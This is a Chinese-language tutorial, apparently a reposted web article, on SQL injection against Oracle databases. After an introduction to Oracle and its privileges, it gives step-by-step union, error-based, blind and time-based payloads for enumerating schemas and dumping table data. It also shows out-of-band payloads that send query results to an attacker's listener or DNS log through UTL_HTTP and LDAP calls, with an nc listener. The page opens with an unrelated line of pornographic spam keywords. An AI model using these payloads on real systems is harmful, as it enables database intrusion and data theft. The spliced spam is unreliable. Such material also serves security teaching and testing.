亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Oracle SQL注入的實(shí)例總結(jié)

 更新時(shí)間:2021年11月09日 10:41:45   作者:FreeKnight  
在網(wǎng)絡(luò)中,數(shù)據(jù)庫驅(qū)動的Web應(yīng)用隨處可見,由此而存在的SQL注入是影響企業(yè)運(yùn)營且最具破壞性的漏洞之一,下面這篇文章主要給大家介紹了關(guān)于Oracle SQL注入的相關(guān)資料,需要的朋友可以參考下

0x00 Oracle基礎(chǔ)

Oracle 基本使用

什么是Oracle數(shù)據(jù)庫?

Oracle公司目前是世界上最大的軟件提供商之一,與它并列的還有 Microsoft與 Adode。并且隨著 Oracle的發(fā)展,它已經(jīng)成為了企業(yè)辦公平臺的最大軟件提供商之一。

Oracle數(shù)據(jù)庫是 Oracle (中文名稱叫甲骨文) 公司的核心產(chǎn)品,Oracle數(shù)據(jù)庫是—個適合于大中型企業(yè)的數(shù)據(jù)庫管理系統(tǒng)。在所有的數(shù)據(jù)庫管理系統(tǒng)中(比如:微軟的SQL Server,IBM的DB2等), Oracle的主要用戶涉及面非常廣包括銀行、電信、移動通信、航空、保險(xiǎn)、金融、電子商務(wù)和跨國公司等。 Oracle產(chǎn)品是免費(fèi)的,可以在 Oracle官方網(wǎng)站上下載安裝包,另一方面 Oracle服務(wù)是收費(fèi)的。

官網(wǎng)鏈接:https://www.oracle.com/cn/index.html

Oracle數(shù)據(jù)庫的特點(diǎn)

  • 完整的數(shù)據(jù)管理功能
  • 數(shù)據(jù)的大量性
  • 數(shù)據(jù)的保存持久性
  • 數(shù)據(jù)庫共享性
  • 完備關(guān)系的產(chǎn)品
  • 信息準(zhǔn)則---關(guān)系型DBMS的所有信息都在邏輯上用一種方法,即表中的值顯式地表示
  • 保證訪問的準(zhǔn)則
  • 視圖更新準(zhǔn)則---只要形成視圖的表中的數(shù)據(jù)變化了,相應(yīng)的視圖中的數(shù)據(jù)同時(shí)變化
  • 完整的數(shù)據(jù)管理功能
  • 分布式處理功能
  • 一個 ORACLE分布式數(shù)據(jù)庫由 oraclerdbms、sq|Net、 SQLCONNECT和其他非 ORACLE的關(guān)系型產(chǎn)品構(gòu)成

相比于其他數(shù)據(jù)庫 Oracle的優(yōu)缺點(diǎn)

優(yōu)點(diǎn)

  • 開放性:Oracle能在所有主流平臺上運(yùn)行(包括 windows)完全支持所有工業(yè)標(biāo)準(zhǔn)采用完全開放策略使客戶選擇適合解決方案對開發(fā)商全力支持
  • 并行性:Oracle并行服務(wù)器通過使組結(jié)點(diǎn)共享同簇工作來擴(kuò)展windowNT能力提供高用性和髙伸縮性簇解決方案
  • 安全性:獲得最高認(rèn)證級別的ISO標(biāo)準(zhǔn)認(rèn)證。
  • 性能:Oracle性能高保持開放平臺下TPC-D和TPC-C世界記錄
  • 使用風(fēng)險(xiǎn):Oracle長時(shí)間開發(fā)經(jīng)驗(yàn)完全向下兼容得廣泛應(yīng)用地風(fēng)險(xiǎn)低

缺點(diǎn)

  • 對硬件的要求較高
  • 價(jià)格比較昂貴
  • 管理維護(hù)較麻煩
  • 操作較復(fù)雜,需要技術(shù)含量較高
  • Oracle 常用數(shù)據(jù)類型

登錄Oracle數(shù)據(jù)庫

Oracle數(shù)據(jù)庫基本表管理語句

創(chuàng)建表
create table 表名(字段名稱 類型 約束)
create table ichunqiu(name char(10) primary key,age int)

增加列
alter table 表名 add(字段名稱, 數(shù)據(jù)類型)
alter table ichunqiu add(class_name varchar2(200))

刪除表中一列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name

修改表字段
alter table 表名 modify(字段名稱 新的字段類型)
alter table ichunqiu modify(name varchar(200))

** Oracle數(shù)據(jù)庫基本數(shù)據(jù)操作語句**

**查詢** 
select *|列名|表達(dá)式 from 表名 where 條件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc   (升序)
select * from ichunqiu order by age       (默認(rèn)就是升序)

**插入** 
insert into 表名 values(所有字段對應(yīng)值)
insert into 表名 (字段名1,字段名2,字段名3,...)values(字段對應(yīng)值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')

**更新** 
update 表名 set 字段名稱 = 值 where 更新條件
update ichunqiu set age=25 where name='icq'

**刪除** 
delete 表名 where 條件
delete ichunqiu where name='ii'

Truncate

語法:truncate table 表名

說明:將表中數(shù)據(jù)一次性刪除

Truncate和 delete區(qū)別

  1. truncate是DDL命令,刪除數(shù)據(jù)不能恢復(fù) ; delete是DML命令,刪除數(shù)據(jù)可以通過數(shù)據(jù)庫的日志文件進(jìn)行恢復(fù)
  2. 如果一個表中記錄很多, truncate相對 delete速度快

Oracle權(quán)限控制

Oracle權(quán)限概述

權(quán)限允許用戶訪問屬于其它用戶的對象或執(zhí)行程序,ORACLE系統(tǒng)提供三種權(quán)限: Object對象級、 System系統(tǒng)級、Role角色級。這些權(quán)限可以授予給用戶、特殊用戶 public或角色,如果授予一個權(quán)限給特殊用戶"Public" (用戶 public是 oracle預(yù)定義的,每個用戶享有這個用戶享有的權(quán)限)那么就意味作將該權(quán)限授予了該數(shù)據(jù)庫的所有用戶。

對管理權(quán)限而言,角色是一個工具,權(quán)限能夠被授予給—個角色,角色也能被授予給另一個角色或用戶。用戶可以通過角色繼承權(quán)限,除了管理權(quán)限外角色服務(wù)沒有其它目的。權(quán)限可以被授予,也可以用同樣的方式撤銷

權(quán)限分類

Oracle數(shù)據(jù)庫中權(quán)限分為兩類

  • 系統(tǒng)權(quán)限:系統(tǒng)規(guī)定用戶使用數(shù)據(jù)庫的權(quán)限。(系統(tǒng)權(quán)限是對用戶而言)
  • 實(shí)體權(quán)限:某種權(quán)限用戶對其它用戶的表或視圖的存取權(quán)限。(是針對表或視圖而言的)

系統(tǒng)權(quán)限(用戶權(quán)限管理)

系統(tǒng)權(quán)限分類

DBA:擁有全部特權(quán),是系統(tǒng)最高權(quán)限,只有DBA才可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)

RESOURCE:擁有 Resource權(quán)限的用戶只可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)

CONNECT:擁有 Connect權(quán)限的用戶只可以登錄 Oracle,不可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫結(jié)構(gòu)

對于普通用戶:授予 connect, resource權(quán)限

對于DBA管理用戶:授予 connect, resource,dba權(quán)限

系統(tǒng)權(quán)限授權(quán)命令

系統(tǒng)權(quán)限只能由DBA用戶授出:sys, system(最開始只能是這兩個用戶)

SQL> grant connect,resource,dba to用戶名1[,用戶名2]...;

SQL> Create user user50 identified by user50;
SQL> grant connect,resource to user50;

注:普通用戶通過授權(quán)可以具有與 system相同的用戶權(quán)限,但不能達(dá)到與sys用戶相同的權(quán)限, system用戶的權(quán)限也可以被回收。

實(shí)體權(quán)限(表權(quán)限管理)

實(shí)體權(quán)限分類

select, update, insert, alter, index, delete,all //all括所有權(quán)限

execute //執(zhí)行存儲過程權(quán)限

舉例:

grant select,insert, update on tablename to userA;            --賦權(quán)給用戶: userA
grant select, insert, update on tablename to public:          --賦權(quán)給所有用戶
grant select, update on product to userA with grant option;   --userA得到權(quán)限,并可以傳遞
revoke select insert, update on tablename from userA;         --收回給予的權(quán)限從用戶
userA revoke select, insert, update on tablename from public; --收回給予的權(quán)限從所有用戶

注意:如果取消某個用戶的對象權(quán)限,那么對于這個用戶使用 WITH GRANT OPTION授予權(quán)限的用戶來說,同樣還會取消這些用戶的相同權(quán)限,也就是說取消授權(quán)時(shí)級聯(lián)的。

0x01 常見注入類型

引入知識

Oracle中的 dual 表介紹

此表是 Oracle數(shù)據(jù)庫中的一個自帶表 ,它為了滿足查詢條件 而產(chǎn)生

dual表的特點(diǎn)

  1. dual是 oracle中的偽表(只有一行一列)
  2. 每個用戶都可以使用
  3. 可能dual表被刪掉,sys可以恢復(fù)

在 oracle中使用查詢語句必須跟一個表名,如下:

Mysql:union select 1, 2, 3

Oracle:union select 1, 2, 3 from dual

Oracle的注釋符介紹

單行注釋符號是:--

多行注釋符號是://**

Oracle的 強(qiáng)匹配 類型

在 Oracle進(jìn)行類似UNION査詢數(shù)據(jù)時(shí)候必須讓對應(yīng)位置上的數(shù)據(jù)類型和表中的列的數(shù)據(jù)類型是一致的,也可以使用null代替某些無法快速猜測出數(shù)據(jù)類型的位置

舉例:

mysql::union select 1, 2, 3

oracle:union select null, null, null from dual

union聯(lián)合查詢注入

Oracle union聯(lián)合查詢注入基本流程

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

**2.判斷字段數(shù)** 
當(dāng)前表有4個字段
id=1 order by 4--   

**3.聯(lián)合查詢找回顯位** 
Oracle 數(shù)據(jù)庫查詢需要 from dual (虛表/偽表) 專為查詢語句設(shè)置的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有類型
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--

**4.查詢數(shù)據(jù)庫版本、數(shù)據(jù)庫連接用戶、當(dāng)前實(shí)例名** 
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--

**5.遍歷數(shù)據(jù)庫名** 
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('SYS')),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM')),3,4 from DUAL--

**6.遍歷表名** 
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO','FLAG','ICHUNQIU','STU')),3,4 from DUAL--

**7.遍歷flag表字段名** 
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag')),3,4 from DUAL--

**8.查詢表字段數(shù)據(jù)** 
id=-1 union select 1,(select NAME||AGE FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1),3,4 from dual--

error 注入

常用顯錯函數(shù)

dbms_xdb_version.checkin() 函數(shù)

屬于 dbms_xdb_version下的 checkin功能。此功能檢入簽岀的VCR并返回新創(chuàng)建的版本的資源ID。

payload:

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

dbms_xdb_version.uncheckout() 函數(shù)

用法和checkin一致

payload:

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

**utl_inaddr.get_host_name() ** 函數(shù)

說明:這種方法在 Oracle 8g,9g,10g中不需要任何權(quán)限,但是在** Oracle 11g及以后的版本中** ,官方加強(qiáng)了訪問控制權(quán)限,所以在11g以后要使用此方法進(jìn)行報(bào)錯注入,當(dāng)前數(shù)據(jù)庫用戶必須有網(wǎng)絡(luò)訪問權(quán)限

報(bào)錯方法:獲取ip地址,其參數(shù)如果解析不了會報(bào)錯,顯示傳遞的參數(shù)。如果其參數(shù)是一個SQL語句,那么報(bào)錯就會把結(jié)果給顯示出來。

payload:

and utl_inaddr.get_host_name((select user from dual))=1--

其他常用顯錯函數(shù)

函數(shù)名 payload
dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash() and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ordsys.ord_dicom.getmappingxpath() and select ordsys.ord_dicom.getmappingxpath ((select user from dual),user,user) =1--
ctxsys.drithsx.sn() and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--

Oracle error 注入基本流程

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢數(shù)據(jù)庫版本、數(shù)據(jù)庫連接用戶、當(dāng)前實(shí)例名** 
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--

2.**遍歷獲取數(shù)據(jù)庫名** 
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('SYS'))) is not null--

3.**遍歷獲取表名** 
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO'))) is not null--

**4.遍歷獲取字段名** 
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag'))) is not null--

5.**查詢表字段數(shù)據(jù)** 
id=1 and dbms_xdb_version.checkin((select NAME||AGE FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1)) is not null--

bool盲注

bool盲注相關(guān)函數(shù)

decode() ** 函數(shù)**

用法 :decode(條件,值1,翻譯值1,值2,翻譯值2… 值n, 翻譯值n,缺省值)

含義 :if(條件 == 值1) -> 返回翻譯值1,否則返回默認(rèn)值

舉例 :查詢 Oracle版本,判斷版本的字符串第一個字符是否是O

Payload :

and1=(select decode(substr((select banner from sys.v_$Version where rownum=1),1,1), 'O', 1, 0) from dual--

說明 :其中 select語句可以替換,如:

獲取當(dāng)前用戶: selectuser from dual;

獲取字符長度: select length(user) from dual;

instr() ** 函數(shù)**

用法 :instr( string1, string2 ) / instr(源字符串,目標(biāo)字符)

含義 :搜索指定的字符返回發(fā)現(xiàn)指定的字符的位置, string1是被搜索的字符串, string2是希望搜索的字符串

注入思路 : instr會返回'SQL'位置數(shù)據(jù)在査詢結(jié)果中的位置,未找到便返回0,可通過對‘SQL′位置進(jìn)行遍歷和迭代,獲取到數(shù)據(jù)

舉例 :查詢當(dāng)前的用戶,判斷用戶名第一個字符是否是T

Payload :

and1=(instr((select user from dual),'T'))--

Oracle bool盲注基本流程

**1.判斷注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢數(shù)據(jù)庫版本/用戶** 
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字符串長度
ascii  返回字符的ascii碼
instr  搜索指定結(jié)果內(nèi)是否包含關(guān)鍵字 存在返回1 否則返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual)--
id=1 and (select length(user) from dual)=4-- 
id=1 and (select ascii('a') from dual)=97-- 
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii碼判斷字符 T
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii碼判斷字符 E

id=1 and 1=(instr((select user from dual),'T'))--
id=1 and 1=(instr((select user from dual),'TE'))--
id=1 and 1=(instr((select user from dual),'TES'))--
id=1 and 1=(instr((select user from dual),'TEST'))--

**3.獲取庫名** 
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一個庫名長度為3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii為83 S
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii為89 Y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii為83 S

**4.獲取表名** 
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一個表名的第一個字符是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一個表名的第二個字符是c

**5.獲取字段名** 
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表內(nèi)的第一個字段的第一個字符u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表內(nèi)的第一個字段的第二個字符s

time 盲注

time盲注相關(guān)函數(shù)

DBMS_PIPE.RECEIVE_MESSAGE() ** 函數(shù)**

用法 :DBMS_PIPE.RECEIVE_MESSAGE(' 任意值 ', 延遲時(shí)間 )

舉例 :DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5) 表示從ICQ管道返回的數(shù)據(jù)需要等待5秒

payload :

and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1

常用payload

id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O', dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
截取數(shù)據(jù)庫版本第一個字符為O就延時(shí)5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
用戶名長度為4 就延時(shí)5s

帶外注入

Oracle帶外注入

Oracle的帶外注入和 DNSLOG很相似,需要使用網(wǎng)絡(luò)請求的函數(shù) 進(jìn)行注入利用,其中可以進(jìn)行網(wǎng)絡(luò)請求的函數(shù)如下等

帶外注入相關(guān)函數(shù)

utl_http.request() ** 函數(shù)**

函數(shù)說明 :在Oracle中提供了utlhttprequest函數(shù),用于取得web服務(wù)器的請求信息,因此,攻擊者可以自己監(jiān)聽端口,然后通過這個函數(shù)用請求將需要的數(shù)據(jù)發(fā)送反彈回頭

UTL_HTTP包介紹 :提供了對HTTP的一些操作。

舉例 :執(zhí)行這條SQL語句,將返回 baidu. com的HTML源碼

select UTL_HTTP.REQUEST('http://www.baidu.com') from dual

utl_inaddr.get_host_address() 函數(shù)

常用payload :

and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

SYS.DBMS_LDAP.INIT()

常用payload :

and (select SYS.DBMS_LDAP.INIT((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

帶外注入過程

判斷 UTL_HTTP存儲過程是否可用在注入點(diǎn)提交如下查詢:

select count(*) from allobjects where object name='UTL_HTTP'

通過頁面回顯判斷UTL_HTTP是否可用,如果頁面返回正常,則說明UTL_HTTP存儲過程可用使用NC監(jiān)聽數(shù)據(jù)

在本地用nc監(jiān)聽一個端口,要求本地主機(jī)擁有一個外網(wǎng)的ip地址

nc-lvvp監(jiān)聽端口

反彈數(shù)據(jù)信息在注入點(diǎn)提交:

# 發(fā)送請求,獲得當(dāng)前用戶名
id=1 and UTL_HTTP.request('http://ip:監(jiān)聽端口/'||(select user from dual))=1--

即可實(shí)現(xiàn)注入攻擊

注意:每次在注入點(diǎn)提交一次請求,nc監(jiān)聽完后就會斷開,需要重新啟動nc監(jiān)聽

常用payload

# 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

# 發(fā)送請求,獲得當(dāng)前用戶名
id=1 and UTL_HTTP.request('http://ip:監(jiān)聽端口/'||(select user from dual))=1--

總結(jié)

到此這篇關(guān)于Oracle SQL注入的文章就介紹到這了,更多相關(guān)Oracle SQL注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論